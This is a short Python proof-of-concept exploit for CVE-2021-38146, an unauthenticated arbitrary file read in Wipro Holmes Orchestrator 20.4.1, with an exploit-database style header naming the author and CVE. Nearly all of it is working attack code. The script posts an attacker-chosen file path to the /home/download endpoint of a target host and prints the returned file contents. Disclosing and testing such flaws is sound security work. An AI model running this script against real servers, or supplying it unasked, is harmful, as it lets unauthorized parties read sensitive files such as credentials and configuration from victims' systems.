# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Read PoC
# Date: 05/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38146

import requests as rq
import argparse

port = 8001    # change port if application is running on different port

def file_download(host, filepath):
  vuln_url = "http://%s:%s/home/download" % (host, port)
  data = {
    "SearchString": filepath,
    "Msg": ""
  }

  hdr = {
    "content-type": "application/json"
  }

  resp = rq.post(vuln_url, headers=hdr, json=data)

  print resp.text

def main():
  parser = argparse.ArgumentParser(
      description="CVE-2021-38146 - Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Download",
      epilog="Vulnerability Discovery and PoC Author - Rizal Muhammed @ub3rsick"
    )
  parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
  parser.add_argument("-f","--file-path", help="Absolute Path of the file to download", default="C:/Windows/Win.ini")
  args = parser.parse_args()

  if "\\" in args.file_path:
    fp = args.file_path.replace("\\", "/")
  else:
    fp = args.file_path
  file_download(args.target_ip, fp)

if __name__ == "__main__":
  main()